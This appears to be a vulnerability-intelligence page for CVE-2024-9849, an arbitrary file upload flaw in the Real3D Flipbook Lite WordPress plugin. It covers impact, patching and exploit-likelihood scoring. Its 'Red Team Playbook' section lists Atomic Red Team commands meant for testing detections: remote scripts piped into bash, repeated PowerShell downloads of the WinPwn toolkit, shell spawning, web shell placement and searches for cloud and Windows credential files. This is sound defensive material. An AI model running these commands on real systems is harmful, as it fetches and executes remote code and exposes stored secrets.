CVE-2024-9849
Overview
This vulnerability is an arbitrary file upload flaw stemming from inadequate file type validation within the 'r3dfb_save_thumbnail_callback' function of the Real3D Flipbook Lite WordPress plugin. The affected component handles thumbnail saving operations but fails to enforce restrictions on the uploaded file types, allowing unauthorized file content to be accepted. This root cause exists in all plugin versions up to and including 4.8.
Vulnerability Description
The Real3D Flipbook Lite – 3D FlipBook, PDF Viewer, PDF Embedder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'r3dfb_save_thumbnail_callback' function in all versions up to, and including, 4.8. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with Author-level access or above can upload malicious files to the server, potentially executing arbitrary code remotely. This can lead to full site compromise, data theft, or service disruption. The exploit requires authenticated access, as indicated by the CVSS vector (PR:L), but no user interaction is necessary (UI:N). Network access to the WordPress admin interface is required, enabling lateral movement within the environment if exploited.
Solution
Users should upgrade the Real3D Flipbook Lite plugin to a version later than 4.8 where this vulnerability is patched. Detailed patch information and code changes are documented in the WordPress plugin repository changeset 3189781 and the Wordfence advisory linked at https://www.wordfence.com/threat-intel/vulnerabilities/id/1f99b366-1a94-41ed-813a-bb13893604d0. No official advisory ID is provided, but the plugin update addresses the missing file validation flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the 3D FlipBook, PDF Viewer, and PDF Embedder – Real 3D FlipBook WordPress Plugin arises from inadequate file type validation within the 'r3dfb_save_thumbnail_callback' function. This oversight allows authenticated users with Author-level access or higher to upload files without proper restrictions. The absence of stringent checks means that attackers can exploit this flaw to upload malicious files, potentially leading to remote code execution on the server. This vulnerability is particularly concerning as it undermines the fundamental security model of WordPress, which relies on user roles and permissions to limit access and actions within the site.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could leverage their access to upload a web shell or other malicious scripts disguised as legitimate files. Once the malicious file is on the server, the attacker can execute arbitrary commands, manipulate data, or even pivot to other parts of the network. Scenarios may include using the compromised server to launch further attacks against other systems, exfiltrating sensitive data, or deploying ransomware. The ease of exploitation, combined with the potential for significant damage, makes this vulnerability particularly attractive to threat actors.
The real-world impact of this vulnerability is substantial, especially for organizations that rely on the affected plugin for document management or presentation. Successful exploitation can lead to severe business risks, including data breaches, loss of customer trust, and potential regulatory penalties. Organizations may face downtime as they respond to incidents, and the financial implications can be significant, ranging from remediation costs to legal liabilities. Furthermore, if the compromised server hosts customer data, the ramifications could extend to affected clients, resulting in reputational damage and loss of business.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments can help identify outdated plugins and other security weaknesses. Employing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious requests before they reach the server. Additionally, organizations should enforce strict file upload policies, ensuring that only specific file types are allowed and that all uploads are scanned for malicious content. Keeping the WordPress core, themes, and plugins up to date is crucial, as developers often release patches to address known vulnerabilities.
In conclusion, the vulnerability in the 3D FlipBook, PDF Viewer, and PDF Embedder – Real 3D FlipBook WordPress Plugin poses a significant threat to web applications utilizing this plugin. The combination of inadequate file validation and the potential for remote code execution creates a high-risk scenario for organizations. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to detect and mitigate this vulnerability, thus safeguarding their digital assets and maintaining their operational integrity.
CSURFACE threat intelligence has detected a significant increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-9849, rising by over 30% to a current value placing it in the 95th percentile of exploit likelihood. Although no new exploit code or active exploitation campaigns have been observed, this upward trend in EPSS reflects growing confidence in the vulnerability’s exploitability, likely driven by emerging proof-of-concept developments or increased attacker interest. For defenders, this escalation signals a heightened probability that threat actors with Author-level access will attempt to leverage the arbitrary file upload flaw to achieve remote code execution. Consequently, the risk profile for organizations using the affected Real3D Flipbook Lite plugin has intensified, warranting increased vigilance despite the absence of confirmed exploitation in the wild. This shift underscores the importance of prioritizing detection and response capabilities to address potential exploitation attempts before they materialize into active breaches.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-9849 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/1f99b366-1a94-41ed-813a-bb13893604d0?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/real3d-flipbook-lite/tags/4.6/includes/plugin-admin.php#L77 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3189781/ |